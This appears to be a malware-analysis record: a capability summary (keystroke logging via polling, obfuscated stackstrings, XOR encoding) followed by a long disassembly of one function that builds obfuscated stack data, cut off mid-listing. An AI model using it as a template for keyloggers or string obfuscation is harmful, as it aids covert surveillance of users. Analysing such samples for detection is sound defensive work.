Function at 0x140001000
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Encode data using xor
Get common file path
Get disk information
Log keystrokes via polling
Manipulate console buffer
Read file on windows
Set console window title
Set current directory
Terminate thread

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1a788
call fcn.14010c440
sub rsp, rax
movabs rax, 0x3ca7c5ade55f1b78
mov qword [rsp + 0x3b90], rax
movabs rax, 0x6479aaa8e1cae048
mov qword [rsp + 0x3b98], rax
movabs rax, 0x27367a821ca51c7d
mov qword [rsp + 0x3ba0], rax
mov eax, 0x5ee
mov word [rsp + 0x688], ax
movabs rax, 0x317bd7f692d1575a
mov qword [rsp + 0x3ba8], rax
mov dword [rsp + 0x20d4], 0x3267a6b4
mov eax, 0xc86
mov word [rsp + 0x68c], ax
movabs rax, 0x574b88c8713e5410
mov qword [rsp + 0x3bb0], rax
mov dword [rsp + 0x20d8], 0x23bd146f
mov eax, 0x74d9
mov word [rsp + 0x690], ax
mov dword [rsp + 0x20dc], 0x460dceda
movabs rax, 0x763fc4fcf0c8c5e
mov qword [rsp + 0x3bb8], rax
movabs rax, 0x3de54e48d6d5b088
mov qword [rsp + 0x3bc0], rax
mov eax, 0x50a7
mov word [rsp + 0x694], ax
mov eax, 0x6f8
mov word [rsp + 0x698], ax
mov byte [rsp + 0x40], 0x46
movabs rax, 0xd89fe8c995d431b2
mov qword [rsp + 0x3bc8], rax
mov eax, 0x61a3
mov word [rsp + 0x69c], ax
movabs rax, 0x63ba9fd9c9089120
mov qword [rsp + 0x3bd0], rax
mov eax, 0x3c7
mov word [rsp + 0x6a0], ax
mov eax, 0x1a8
mov word [rsp + 0x6a4], ax
mov dword [rsp + 0x20e0], 0x5d007a6e
mov byte [rsp + 0x41], 0x69
mov eax, 0x504f
mov word [rsp + 0x6a8], ax
mov eax, 0x7d55
mov word [rsp + 0x6ac], ax
mov byte [rsp + 0x42], 0x60
mov eax, 0x28fc
mov word [rsp + 0x6b0], ax
mov byte [rsp + 0x43], 0x49
mov eax, 0x52f
mov word [rsp + 0x6b4], ax
mov eax, 0xdb7
mov word [rsp + 0x6b8], ax
movabs rax, 0xed9e2cff0b28cebd
mov qword [rsp + 0x3bd8], rax
mov eax, 0xaf4
mov word [rsp + 0x6bc], ax
movabs rax, 0x40b0381bafae9173
mov qword [rsp + 0x3be0], rax
mov dword [rsp + 0x20e4], 0x6e44e693
mov dword [rsp + 0x20e8], 0x18bb4bd1
mov byte [rsp + 0x44], 0x3a
mov byte [rsp + 0x45], 0xf3
mov dword [rsp + 0x20ec], 0x7e0af19b
mov dword [rsp + 0x20f0], 0x115307c3
mov byte [rsp + 0x46], 0x7a
mov dword [rsp + 0x20f4], 0x77216865
mov byte [rsp + 0x47], 0xe3
movabs rax, 0xcfa2229f9d58c169
mov qword [rsp + 0x3be8], rax
mov byte [rsp + 0x48], 0xef
mov dword [rsp + 0x20f8], 0xc4780836
mov dword [rsp + 0x20fc], 0xda72d804
mov dword [rsp + 0x2100], 0x2bd06396
mov byte [rsp + 0x49], 0x77
mov eax, 0xc9
mov word [rsp + 0x6c0], ax
mov byte [rsp + 0x4a], 0x44
mov eax, pe_nt_image_headers64
mov word [rsp + 0x6c4], ax
movabs rax, 0xf4c23c1b8358b9bc
mov qword [rsp + 0x3bf0], rax
mov byte [rsp + 0x4b], 0x73
mov dword [rsp + 0x2104], 0x22b8b9c7
mov dword [rsp + 0x2108], 0x7c979c2b
mov eax, 0x2f5
mov word [rsp + 0x6c8], ax
mov eax, 0x7cbd
mov word [rsp + 0x6cc], ax
mov dword [rsp + 0x210c], 0x288d0dc8
mov dword [rsp + 0x2110], 0x3d4524ea
mov byte [rsp + 0x4c], 0x2e
mov eax, 0x84
mov word [rsp + 0x6d0], ax
movabs rax, 0xa260a6887926ba16
mov qword [rsp + 0x3bf8], rax
mov byte [rsp + 0x4d], 0xc3
movabs rax, 0x2e6c003d389b7ce3
mov qword [rsp + 0x3c00], rax
mov eax, 0x4fd
mov word [rsp + 0x6d4], ax
movabs rax, 0x2fc55cbd27c94f8b
mov qword [rsp + 0x3c08], rax
mov byte [rsp + 0x4e], 3
mov dword [rsp + 0x2114], 0x2c5224bd
movabs rax, 0x2016f413e55a0583
mov qword [rsp + 0x3c10], rax
mov dword [rsp + 0x2118], 0xbaebc55a
mov dword [rsp + 0x211c], 0xff199778
movabs rax, 0x2d4b02f09cfe5fa0
mov qword [rsp + 0x3c18], rax
mov eax, 0x478
mov word [rsp + 0x6d8], ax
movabs rax, 0x42c4128798cf1305
mov qword [rsp + 0x3c20], rax
movabs rax, 0x1b089f789937b709
mov qword [rsp + 0x3c28], rax
mov dword [rsp + 0x2120], 0x16b56d52
movabs rax, 0x9b665db56b72b2a6
mov qword [rsp + 0x3c30], rax
mov byte [rsp + 0x4f], 0x1d
mov byte [rsp + 0x50], 0x47
mov byte [rsp + 0x51], 0x4d
mov dword [rsp + 0x2124], 0x8fc04e50
movabs rax, 0x7621395e7cd8f0cf
mov qword [rsp + 0x3c38], rax
movabs rax, 0x478a2a24c73830
mov qword [rsp + 0x3c40], rax
mov dword [rsp + 0x2128], 0x17fe2bec
mov byte [rsp + 0x52], 0xe
mov eax, 0x68d8
mov word [rsp + 0x6dc], ax
mov eax, 0xa89
mov word [rsp + 0x6e0], ax
mov eax, 0x794
mov word [rsp + 0x6e4], ax
mov dword [rsp + 0x212c], 0x4834c03b
mov dword [rsp + 0x2130], 0x1813db41
movabs rax, 0xc8cd7e5d895040de
mov qword [rsp + 0x3c48], rax
movabs rax, 0xf20d111925c87048
mov qword [rsp + 0x3c50], rax
movabs rax, 0x4e80dcfdfbdc1a17
mov qword [rsp + 0x3c58], rax
movabs rax, 0x3c75afe333d7ef1f
mov qword [rsp + 0x3c60], rax
mov eax, 0x34a
mov word [rsp + 0x6e8], ax
mov eax, 0x4806
mov word [rsp + 0x6ec], ax
mov dword [rsp + 0x2134], 0x330d57db
movabs rax, 0x2c2b0364c5fe74de
mov qword [rsp + 0x3c68], rax
mov dword [rsp + 0x2138], 0x36c8b583
mov dword [rsp + 0x213c], 0x16a11ce8
mov byte [rsp + 0x53], 0x49
movabs rax, 0x138573091d5461a5
mov qword [rsp + 0x3c70], rax
mov dword [rsp + 0x2140], 0x4cb80fc2
mov byte [rsp + 0x54], pe_nt_image_headers64
movabs rax, 0x4359c442ea420213
mov qword [rsp + 0x3c78], rax
mov dword [rsp + 0x2144], 0x3e0c1bbe
mov eax, 0x7fa
mov word [rsp + 0x6f0], ax
mov dword [rsp + 0x2148], 0xa0191665
movabs rax, 0x46378e207266aef8
mov qword [rsp + 0x3c80], rax
mov byte [rsp + 0x55], 4
movabs rax, 0xdab0873c0fd1cbcd
mov qword [rsp + 0x3c88], rax
mov byte [rsp + 0x56], 0xf9
mov dword [rsp + 0x214c], 0x9434e802
mov byte [rsp + 0x57], 0x7b
movabs rax, 0x236f6242750a6868
mov qword [rsp + 0x3c90], rax
movabs rax, 0xe8f9c7a11f10eef9
mov qword [rsp + 0x3c98], rax
movabs rax, 0x4ed2d729cba68b31
mov qword [rsp + 0x3ca0], rax
mov eax, 0x6b3
mov word [rsp + 0x6f4], ax
mov eax, 0x691
mov word [rsp + 0x6f8], ax
mov dword [rsp + 0x2150], 0x69630e03
mov dword [rsp + 0x2154], 0x9a3a2f91
mov dword [rsp + 0x2158], 0x319f6753
mov dword [rsp + 0x215c], 0x7fc4fb88
movabs rax, 0x6db4bbc60d63d10f
mov qword [rsp + 0x3ca8], rax
movabs rax, 0x205bac56a98e69e2
mov qword [rsp + 0x3cb0], rax
movabs rax, 0x2083f8be5c9c20ad
mov qword [rsp + 0x3cb8], rax
mov eax, 0x2ffe
mov word [rsp + 0x6fc], ax
movabs rax, 0xfee33adaa6a4e4ad
mov qword [rsp + 0x3cc0], rax
mov eax, 0x1bd6
mov word [rsp + 0x700], ax
mov byte [rsp + 0x58], 5
mov dword [rsp + 0x2160], 0x1f5d929f
movabs rax, 0xf636f576444b8cd
mov qword [rsp + 0x3cc8], rax
mov eax, 0x755
mov word [rsp + 0x704], ax
mov eax, 0xf67
mov word [rsp + 0x708], ax
movabs rax, 0x797c149d1fd92ac5
mov qword [rsp + 0x3cd0], rax
mov dword [rsp + 0x2164], 0x41b62062
mov eax, 0x3a96
mov word [rsp + 0x70c], ax
mov eax, 0xeb0
mov word [rsp + 0x710], ax
mov eax, 0x8a9
mov word [rsp + 0x714], ax
mov byte [rsp + 0x59], 0x79
mov dword [rsp + 0x2168], 0xe3a09d29
movabs rax, 0x314b2be3ce2c4a77
mov qword [rsp + 0x3cd8], rax
movabs rax, 0x4c70867683f0be14
mov qword [rsp + 0x3ce0], rax
mov eax, 0x4fa
mov word [rsp + 0x718], ax
movabs rax, 0x4a319b13295ca46c
mov qword [rsp + 0x3ce8], rax
movabs rax, 0x52cc2e41969ffa27
mov qword [rsp + 0x3cf0], rax
mov dword [rsp + 0x216c], 0x472a4034
mov byte [rsp + 0x5a], 0x3a
mov byte [rsp + 0x5b], 0x2f
mov eax, 0x450
mov word [rsp + 0x71c], ax
mov eax, 0xba3
mov word [rsp + 0x720], ax
mov dword [rsp + 0x2170], 0x1fa9f925
mov dword [rsp + 0x2174], 0x9d997e28
mov dword [rsp + 0x2178], 0x6462215d
mov dword [rsp + 0x217c], 0x1ac3ec9f
mov eax, 0x86
mov word [rsp + 0x724], ax
movabs rax, 0xe7f1361aefe29b2
mov qword [rsp + 0x3cf8], rax
movabs rax, 0x44cefca6be038027
mov qword [rsp + 0x3d00], rax
mov eax, 0x1fc
mov word [rsp + 0x728], ax
mov eax, 0x4bf
mov word [rsp + 0x72c], ax
mov dword [rsp + 0x2180], 0x76b52061
mov dword [rsp + 0x2184], 0xdb6d0210
mov byte [rsp + 0x5c], 0x14
mov eax, 0x6baa
mov word [rsp + 0x730], ax
mov dword [rsp + 0x2188], 0xc5c92fd7
mov eax, 0x2b45
mov word [rsp + 0x734], ax
mov eax, 0x754b
mov word [rsp + 0x738], ax
mov dword [rsp + 0x218c], 0xfd4192f0
mov dword [rsp + 0x2190], 0x576dd52d
mov byte [rsp + 0x5d], 0x16
mov byte [rsp + 0x5e], 0x2e
mov eax, 0x2dbf
mov word [rsp + 0x73c], ax
movabs rax, 0xef08a0a628d13acf
mov qword [rsp + 0x3d08], rax
mov eax, 0xbca
mov word [rsp + 0x740], ax
mov eax, 0x46f2
mov word [rsp + 0x744], ax
mov eax, 0xa4c
mov word [rsp + 0x748], ax
movabs rax, 0x43b422e3f63119ea
mov qword [rsp + 0x3d10], rax
mov byte [rsp + 0x5f], 0x8d
movabs rax, 0xbf8449ab64815926
mov qword [rsp + 0x3d18], rax
movabs rax, 0x26da6ca1f825147a
mov qword [rsp + 0x3d20], rax
mov dword [rsp + 0x2194], 0x23594614
mov dword [rsp + 0x2198], 0x60f37d75
mov dword [rsp + 0x219c], 0x31c996e
movabs rax, 0x74ea826c9e84ae61
mov qword [rsp + 0x3d28], rax
mov eax, 0x9f8
mov word [rsp + 0x74c], ax
movabs rax, 0x79dbfe7f4118e971
mov qword [rsp + 0x3d30], rax
movabs rax, 0x7b6dd5d039099ad0
mov qword [rsp + 0x3d38], rax
mov dword [rsp + 0x21a0], 0xb1cbb73e
mov dword [rsp + 0x21a4], 0xe9bef2f5
movabs rax, 0x29f720dce429637b
mov qword [rsp + 0x3d40], rax
mov eax, 0xd9e
mov word [rsp + 0x750], ax
mov eax, 0x2865
mov word [rsp + 0x754], ax
mov eax, 0xeb6
mov word [rsp + 0x758], ax
mov eax, 0xbe7
mov word [rsp + 0x75c], ax
mov dword [rsp + 0x21a8], 0x170baf65
mov eax, 0xd70
mov word [rsp + 0x760], ax
mov eax, 0x4f03
mov word [rsp + 0x764], ax
mov dword [rsp + 0x21ac], 0x41e2b0dd
mov byte [rsp + 0x60], 0x20
mov eax, 0x425
mov word [rsp + 0x768], ax
mov eax, 0xf59
mov word [rsp + 0x76c], ax
movabs rax, 0x5e900f8405b9aed9
mov qword [rsp + 0x3d48], rax
movabs rax, 0x18ed6585d710371e
mov qword [rsp + 0x3d50], rax
mov dword [rsp + 0x21b0], 0xf44cf1ca
mov eax, 0x69d9
mov word [rsp + 0x770], ax
movabs rax, 0x6db5bedcb6875e1c
mov qword [rsp + 0x3d58], rax
mov eax, 0x27a3
mov word [rsp + 0x774], ax
mov dword [rsp + 0x21b4], 0x7e35b2ca
movabs rax, 0x2d850f42e1a30152
mov qword [rsp + 0x3d60], rax
mov byte [rsp + 0x61], 0x1f
movabs rax, 0xf540c42804014682
mov qword [rsp + 0x3d68], rax
mov byte [rsp + 0x62], 0xa1
mov byte [rsp + 0x63], 0xa1
mov dword [rsp + 0x21b8], 0x76ae6086
mov eax, 0x5abe
mov word [rsp + 0x778], ax
mov byte [rsp + 0x64], 0x97
mov eax, 0x7e1
mov word [rsp + 0x77c], ax
movabs rax, 0xef66858264a489b3
mov qword [rsp + 0x3d70], rax
mov dword [rsp + 0x21bc], 0x7e32a274
mov eax, 0xfa0
mov word [rsp + 0x780], ax
movabs rax, 0x4230156691c963ab
mov qword [rsp + 0x3d78], rax
mov eax, 0x4c11
mov word [rsp + 0x784], ax
mov byte [rsp + 0x65], 0x55
movabs rax, 0xc86723b0fab9af13
mov qword [rsp + 0x3d80], rax
mov dword [rsp + 0x21c0], 0x5b6ec36
mov dword [rsp + 0x21c4], 0x61623da6
movabs rax, 0xe94aeee7cf655d7a
mov qword [rsp + 0x3d88], rax
movabs rax, 0x715649186ddb6ba5
mov qword [rsp + 0x3d90], rax
mov byte [rsp + 0x66], 0x16
mov eax, 0x205b
mov word [rsp + 0x788], ax
mov eax, 0x1fe
mov word [rsp + 0x78c], ax
mov eax, 0x2304
mov word [rsp + 0x790], ax
mov dword [rsp + 0x21c8], 0x68cebb9
mov byte [rsp + 0x67], 0x81
mov eax, 0xe54
mov word [rsp + 0x794], ax
movabs rax, 0x9226decc218a4bd1
mov qword [rsp + 0x3d98], rax
mov eax, 0xd7
mov word [rsp + 0x798], ax
movabs rax, 0x33899a7647b32fff
mov qword [rsp + 0x3da0], rax
mov byte [rsp + 0x68], 0xb5
mov byte [rsp + 0x69], 0x91
mov byte [rsp + 0x6a], 0x2c
mov dword [rsp + 0x21cc], 0x235368ad
mov dword [rsp + 0x21d0], 0x4c8ed35b
movabs rax, 0xd993d7a1b15c1d3f
mov qword [rsp + 0x3da8], rax
mov eax, 3
mov word [rsp + 0x79c], ax
mov dword [rsp + 0x21d4], 0x48d19683
movabs rax, 0x7c93d8823de7541d
mov qword [rsp + 0x3db0], rax
mov eax, 0x2a6b
mov word [rsp + 0x7a0], ax
mov dword [rsp + 0x21d8], 0x6436e6e4
mov eax, 0x2e5
mov word [rsp + 0x7a4], ax
movabs rax, 0x4238e7879f009974
mov qword [rsp + 0x3db8], rax
mov byte [rsp + 0x6b], 0x46
mov byte [rsp + 0x6c], 0x27
mov eax, 0x5435
mov word [rsp + 0x7a8], ax
mov byte [rsp + 0x6d], 0xbb
movabs rax, 0x9a9f26a64edc399c
mov qword [rsp + 0x3dc0], rax
mov dword [rsp + 0x21dc], 0x8da1cde1
mov eax, 0x72
mov word [rsp + 0x7ac], ax
mov dword [rsp + 0x21e0], 0x47640704
mov dword [rsp + 0x21e4], 0x72f3626f
mov dword [rsp + 0x21e8], 0xee4c477f
movabs rax, 0x2f99139d148f6342
mov qword [rsp + 0x3dc8], rax
mov byte [rsp + 0x6e], 0xcb
movabs rax, 0x5a7fd62af4952a85
mov qword [rsp + 0x3dd0], rax
mov dword [rsp + 0x21ec], 0xcc7fd01
mov eax, 0x4d31
mov word [rsp + 0x7b0], ax
mov eax, 0x7282
mov word [rsp + 0x7b4], ax
mov dword [rsp + 0x21f0], 0xd0905129
movabs rax, 0x3632c596edb29a0a
mov qword [rsp + 0x3dd8], rax
mov dword [rsp + 0x21f4], 0x775ad3b8
mov eax, 0xa1f
mov word [rsp + 0x7b8], ax
mov byte [rsp + 0x6f], 0xac
mov dword [rsp + 0x21f8], 0x59729db7
mov byte [rsp + 0x70], 0x4b
mov dword [rsp + 0x21fc], 0x112d0c38
mov byte [rsp + 0x71], 0xda
mov byte [rsp + 0x72], 0x7c
mov byte [rsp + 0x73], 0x6d
mov dword [rsp + 0x2200], 0x5e67c998
movabs rax, 0x1e32092b93f00a14
mov qword [rsp + 0x3de0], rax
mov byte [rsp + 0x74], 0x10
mov eax, 0x43c
mov word [rsp + 0x7bc], ax
movabs rax, 0x6f2a0a27fb6e0bf1
mov qword [rsp + 0x3de8], rax
mov byte [rsp + 0x75], 0x22
movabs rax, 0x36ccc0a311c882d4
mov qword [rsp + 0x3df0], rax
mov eax, 0x6faa
mov word [rsp + 0x7c0], ax
movabs rax, 0x236e040f3e3b4e77
mov qword [rsp + 0x3df8], rax
mov byte [rsp + 0x76], 2
mov dword [rsp + 0x2204], 0x716f14d0
mov eax, 0xccc
mov word [rsp + 0x7c4], ax
movabs rax, 0xaba22fff5a79db24
mov qword [rsp + 0x3e00], rax
movabs rax, 0xbe5906de9b355ef0
mov qword [rsp + 0x3e08], rax
mov eax, 0x5c78
mov word [rsp + 0x7c8], ax
mov eax, 0x28f
mov word [rsp + 0x7cc], ax
mov eax, 0x70e
mov word [rsp + 0x7d0], ax
mov eax, 0x450
mov word [rsp + 0x7d4], ax
mov eax, 0xaad
mov word [rsp + 0x7d8], ax
movabs rax, 0x2f3ae3a1309b55d3
mov qword [rsp + 0x3e10], rax
mov byte [rsp + 0x77], 0x57
movabs rax, 0x43a5cc9fcdce9cd1
mov qword [rsp + 0x3e18], rax
mov byte [rsp + 0x78], 0x60
mov dword [rsp + 0x2208], 0x8426e74e
mov byte [rsp + 0x79], 0x9c
mov byte [rsp + 0x7a], 0x14
mov dword [rsp + 0x220c], 0x22322cee
mov dword [rsp + 0x2210], 0x45f453d9
mov eax, 0x4d4
mov word [rsp + 0x7dc], ax
mov dword [rsp + 0x2214], 0x1e24470b
mov eax, 0x53b
mov word [rsp + 0x7e0], ax
movabs rax, 0x5d29bc456404f3d5
mov qword [rsp + 0x3e20], rax
mov byte [rsp + 0x7b], 0xe
mov dword [rsp + 0x2218], 0xbd3bb56a
movabs rax, 0x6cf145f06515dcd3
mov qword [rsp + 0x3e28], rax
mov byte [rsp + 0x7c], 0x1c
movabs rax, 0x5d3cc0ca99593f9
mov qword [rsp + 0x3e30], rax
mov dword [rsp + 0x221c], 0x233844b3
mov byte [rsp + 0x7d], 0xb7
mov eax, 0x7dc9
mov word [rsp + 0x7e4], ax
mov byte [rsp + 0x7e], 0x5b
movabs rax, 0x507f0c1edc7052d9
mov qword [rsp + 0x3e38], rax
mov byte [rsp + 0x7f], 0x40
mov dword [rsp + 0x2220], 0x8468cb52
movabs rax, 0x13b00b289879629a
mov qword [rsp + 0x3e40], rax
mov byte [rsp + 0x80], 0x8e
mov eax, 0x450
mov word [rsp + 0x7e8], ax
mov byte [rsp + 0x81], 9
movabs rax, 0xff90c1db8f23bffa
mov qword [rsp + 0x3e48], rax
movabs rax, 0x4974a9bb7b723e84
mov qword [rsp + 0x3e50], rax
mov byte [rsp + 0x82], 0x4c
mov dword [rsp + 0x2224], 0x42bb6013
movabs rax, 0x4c7915ebc14999fb
mov qword [rsp + 0x3e58], rax
mov dword [rsp + 0x2228], 0xf80ed0e
mov dword [rsp + 0x222c], 0xf4b3099
mov byte [rsp + 0x83], 0xa1
mov dword [rsp + 0x2230], 0xeefaa4f9
mov eax, 0x591
mov word [rsp + 0x7ec], ax
mov dword [rsp + 0x2234], 0x708cb690
mov dword [rsp + 0x2238], 0x364d8a5e
movabs rax, 0x6ea08cba87640bc3
mov qword [rsp + 0x3e60], rax
mov byte [rsp + 0x84], 7
mov dword [rsp + 0x223c], 0x786c7866
mov byte [rsp + 0x85], 0x3f
mov byte [rsp + 0x86], 0x5c
mov dword [rsp + 0x2240], 0x5cd4b760
mov byte [rsp + 0x87], 0x58
mov dword [rsp + 0x2244], 0x69bffdb1
mov byte [rsp + 0x88], 0x31
movabs rax, 0x2a6477c8bb55958e
mov qword [rsp + 0x3e68], rax
mov eax, 0x42b3
mov word [rsp + 0x7f0], ax
movabs rax, 0x5b8c221fe8120cd3
mov qword [rsp + 0x3e70], rax
mov byte [rsp + 0x89], 0x24
mov eax, 0x177
mov word [rsp + 0x7f4], ax
mov byte [rsp + 0x8a], 0xc7
movabs rax, 0xee616f0c6690068
mov qword [rsp + 0x3e78], rax
mov dword [rsp + 0x2248], 0x30a0950f
mov eax, 0xa01
mov word [rsp + 0x7f8], ax
movabs rax, 0x6c886ef504f6830e
mov qword [rsp + 0x3e80], rax
movabs rax, 0x951c55f517a12b90
mov qword [rsp + 0x3e88], rax
movabs rax, 0x4aca80e8d9199e98
mov qword [rsp + 0x3e90], rax
mov byte [rsp + 0x8b], 0x4b
movabs rax, 0x76195b95562ae846
mov qword [rsp + 0x3e98], rax
mov dword [rsp + 0x224c], 0xf76a8b9
mov eax, 0x802
mov word [rsp + 0x7fc], ax
mov byte [rsp + 0x8c], 0x40
mov dword [rsp + 0x2250], 0xc17293f7
movabs rax, 0x2613fc27358891b5
mov qword [rsp + 0x3ea0], rax
movabs rax, 0x33df34ae66ebc7c1
mov qword [rsp + 0x3ea8], rax
mov dword [rsp + 0x2254], 0x5bb86a7b
movabs rax, 0x7799020a04b89732
mov qword [rsp + 0x3eb0], rax
movabs rax, 0x6d95a38047ec7e0e
mov qword [rsp + 0x3eb8], rax
mov eax, 0x7a79
mov word [rsp + 0x800], ax
mov eax, 0xb2e
mov word [rsp + 0x804], ax
mov dword [rsp + 0x2258], 0x9e33230a
mov dword [rsp + 0x225c], 0x5c0ffdaa
mov dword [rsp + 0x2260], 0x5adb0a45
mov byte [rsp + 0x8d], 0x59
mov eax, 0x2c1
mov word [rsp + 0x808], ax
mov eax, 0x307c
mov word [rsp + 0x80c], ax
movabs rax, 0x312c27d3619a0608
mov qword [rsp + 0x3ec0], rax
mov byte [rsp + 0x8e], 0x49
movabs rax, 0x1637080ff1e28ccc
mov qword [rsp + 0x3ec8], rax
mov eax, 0x40
mov word [rsp + 0x810], ax
mov eax, 0x30b
mov word [rsp + 0x814], ax
mov byte [rsp + 0x8f], 2
mov byte [rsp + 0x90], 0x69
mov eax, 0xd27
mov word [rsp + 0x818], ax
mov dword [rsp + 0x2264], 0x2ae00282
mov byte [rsp + 0x91], 0x77
mov byte [rsp + 0x92], 0x94
movabs rax, 0x16b01ed4d62df883
mov qword [rsp + 0x3ed0], rax
mov dword [rsp + 0x2268], 0x3536d070
mov eax, 0xb3d
mov word [rsp + 0x81c], ax
mov eax, 0x9dd
mov word [rsp + 0x820], ax
mov byte [rsp + 0x93], 0x74
mov byte [rsp + 0x94], 0x12
movabs rax, 0xe5fbc014d4cb76c9
mov qword [rsp + 0x3ed8], rax
mov dword [rsp + 0x226c], 0x509f60f4
movabs rax, 0x8cda81416c5aac5e
mov qword [rsp + 0x3ee0], rax
mov dword [rsp + 0x2270], 0x245bb328
movabs rax, 0xa28b326235308242
mov qword [rsp + 0x3ee8], rax
mov dword [rsp + 0x2274], 0x18617aae
movabs rax, 0x1a896be0c29849d
mov qword [rsp + 0x3ef0], rax
mov dword [rsp + 0x2278], 0x512484cb
movabs rax, 0x112f6ed1c69f1718
mov qword [rsp + 0x3ef8], rax
mov dword [rsp + 0x227c], 0x1cb2a1f5
movabs rax, 0xcbf18349dc12e35d
mov qword [rsp + 0x3f00], rax
movabs rax, 0x58606a9f8fe1dae5
mov qword [rsp + 0x3f08], rax
movabs rax, 0x65d441bfdc588a09
mov qword [rsp + 0x3f10], rax
mov eax, 0x7b6b
mov word [rsp + 0x824], ax
mov byte [rsp + 0x95], 0x49
mov dword [rsp + 0x2280], 0x748d4e4d
movabs rax, 0x30becdaa87442a3e
mov qword [rsp + 0x3f18], rax
movabs rax, 0xe4a65138195a1ce
mov qword [rsp + 0x3f20], rax
mov byte [rsp + 0x96], 0x72
movabs rax, 0xadde83d4b2d22dd4
mov qword [rsp + 0x3f28], rax
mov dword [rsp + 0x2284], 0x276ffb64
mov byte [rsp + 0x97], 0x57
mov eax, 0x989
mov word [rsp + 0x828], ax
movabs rax, 0xcd594a4809f8e06
mov qword [rsp + 0x3f30], rax
mov dword [rsp + 0x2288], 0x7ec1bc88
mov eax, 0x367e
mov word [rsp + 0x82c], ax
mov dword [rsp + 0x228c], 0x7ee2519b
movabs rax, 0x92708c3ab6741345
mov qword [rsp + 0x3f38], rax
mov byte [rsp + 0x98], 0x41
movabs rax, 0x38313aedb86b4a5a
mov qword [rsp + 0x3f40], rax
movabs rax, 0x539031a3e720e22f
mov qword [rsp + 0x3f48], rax
movabs rax, 0xf9004d06979d3d0
mov qword [rsp + 0x3f50], rax
mov dword [rsp + 0x2290], 0x751b0089
mov dword [rsp + 0x2294], 0xbdeb86ab
mov eax, 0x1bba
mov word [rsp + 0x830], ax
movabs rax, 0x7dc93bf7cbca2b02
mov qword [rsp + 0x3f58], rax
movabs rax, 0x243a86427afa3e42
mov qword [rsp + 0x3f60], rax
movabs rax, 0x1e408c542742aaf6
mov qword [rsp + 0x3f68], rax
mov eax, 0x725
mov word [rsp + 0x834], ax
mov dword [rsp + 0x2298], 0x6f666f86
mov eax, 0x33e
mov word [rsp + 0x838], ax
mov dword [rsp + 0x229c], 0x213dd844
mov byte [rsp + 0x99], 0x5d
mov eax, 0xa4c
mov word [rsp + 0x83c], ax
mov byte [rsp + 0x9a], 0x2d
mov byte [rsp + 0x9b], 0x64
mov dword [rsp + 0x22a0], 0x742a4f83
movabs rax, 0x2d1a14ca708e692f
mov qword [rsp + 0x3f70], rax
movabs rax, 0x258f91d8924070cf
mov qword [rsp + 0x3f78], rax
movabs rax, 0x4939f0ffec3bf1d6
mov qword [rsp + 0x3f80], rax
movabs rax, 0xafa8a720a732b8d1
mov qword [rsp + 0x3f88], rax
mov dword [rsp + 0x22a4], 0xbd43396a
mov byte [rsp + 0x9c], 0x35
mov byte [rsp + 0x9d], 0x41
mov byte [rsp + 0x9e], 0x65
movabs rax, 0x1f1577b502515968
mov qword [rsp + 0x3f90], rax
mov dword [rsp + 0x22a8], 0xc8bbb0cb
mov byte [rsp + 0x9f], 0xdb
mov eax, 0x679
mov word [rsp + 0x840], ax
mov byte [rsp + 0xa0], 0x50
movabs rax, 0x153c6ad71be8dfd7
mov qword [rsp + 0x3f98], rax
mov dword [rsp + 0x22ac], 0xb9733bb4
mov eax, 0x24fe
mov word [rsp + 0x844], ax
mov byte [rsp + 0xa1], 0x32
mov eax, 0x1b89
mov word [rsp + 0x848], ax
mov eax, 0x6c70
mov word [rsp + 0x84c], ax
mov byte [rsp + 0xa2], 0x7d
movabs rax, 0x20d0c26e08d73621
mov qword [rsp + 0x3fa0], rax
mov eax, 0x238
mov word [rsp + 0x850], ax
mov eax, 0xc65
mov word [rsp + 0x854], ax
movabs rax, 0x22f0c12699f79c55
mov qword [rsp + 0x3fa8], rax
mov dword [rsp + 0x22b0], 0x7ad6bb3b
movabs rax, 0x327b8d42289485
mov qword [rsp + 0x3fb0], rax
movabs rax, 0x42db0726c8ef101e
mov qword [rsp + 0x3fb8], rax
mov dword [rsp + 0x22b4], 0x6c52c02b
mov eax, 0x874
mov word [rsp + 0x858], ax
mov eax, 0x4060
mov word [rsp + 0x85c], ax
mov eax, 0x1435
mov word [rsp + 0x860], ax
movabs rax, 0x456780532d083ee7
mov qword [rsp + 0x3fc0], rax
mov byte [rsp + 0xa3], 0x65
movabs rax, 0xcb114b0169ed6cf7
mov qword [rsp + 0x3fc8], rax
mov eax, 0xe9a
mov word [rsp + 0x864], ax
movabs rax, 0x4f551d4ce1da91fb
mov qword [rsp + 0x3fd0], rax
mov dword [rsp + 0x22b8], 0x443cbe40
movabs rax, 0x3d56effdc22f2e8c
mov qword [rsp + 0x3fd8], rax
mov dword [rsp + 0x22bc], 0x9d6ef1cc
movabs rax, 0x9250e2f911b9f541
mov qword [rsp + 0x3fe0], rax
mov dword [rsp + 0x22c0], 0x4eb834c5
movabs rax, 0xab2b9301474f20a8
mov qword [rsp + 0x3fe8], rax
movabs rax, 0x1e24acc2e4a872d9
mov qword [rsp + 0x3ff0], rax
movabs rax, 0x5fce1f8b5d67d726
mov qword [rsp + 0x3ff8], rax
mov eax, 0x13b
mov word [rsp + 0x868], ax
movabs rax, 0x66df49fdd44aea57
mov qword [rsp + 0x4000], rax
mov byte [rsp + 0xa4], 3
movabs rax, 0xe459af4509c9f1d6
mov qword [rsp + 0x4008], rax
mov byte [rsp + 0xa5], 0xc7
movabs rax, 0x8534453fdb1d04a5
mov qword [rsp + 0x4010], rax
mov eax, 0x4f98
mov word [rsp + 0x86c], ax
movabs rax, 0x204f3412b4d790c4
mov qword [rsp + 0x4018], rax
mov dword [rsp + 0x22c4], 0xc9e46224
movabs rax, 0x1a9b4029482c1ca4
mov qword [rsp + 0x4020], rax
mov byte [rsp + 0xa6], 0x2d
mov eax, 0x5a6
mov word [rsp + 0x870], ax
mov byte [rsp + 0xa7], 0xe1
mov byte [rsp + 0xa8], 0xca
mov eax, 0x2bc
mov word [rsp + 0x874], ax
mov dword [rsp + 0x22c8], 0x1ed4a960
mov dword [rsp + 0x22cc], 0x71237c2
mov byte [rsp + 0xa9], 0xd8
movabs rax, 0x13fe06430008f267
mov qword [rsp + 0x4028], rax
mov eax, 0x7d5
mov word [rsp + 0x878], ax
mov dword [rsp + 0x22d0], 0xf048c
mov dword [rsp + 0x22d4], 0x18339cb9
movabs rax, 0x1b1c8923c059bb56
mov qword [rsp + 0x4030], rax
mov eax, 0x344
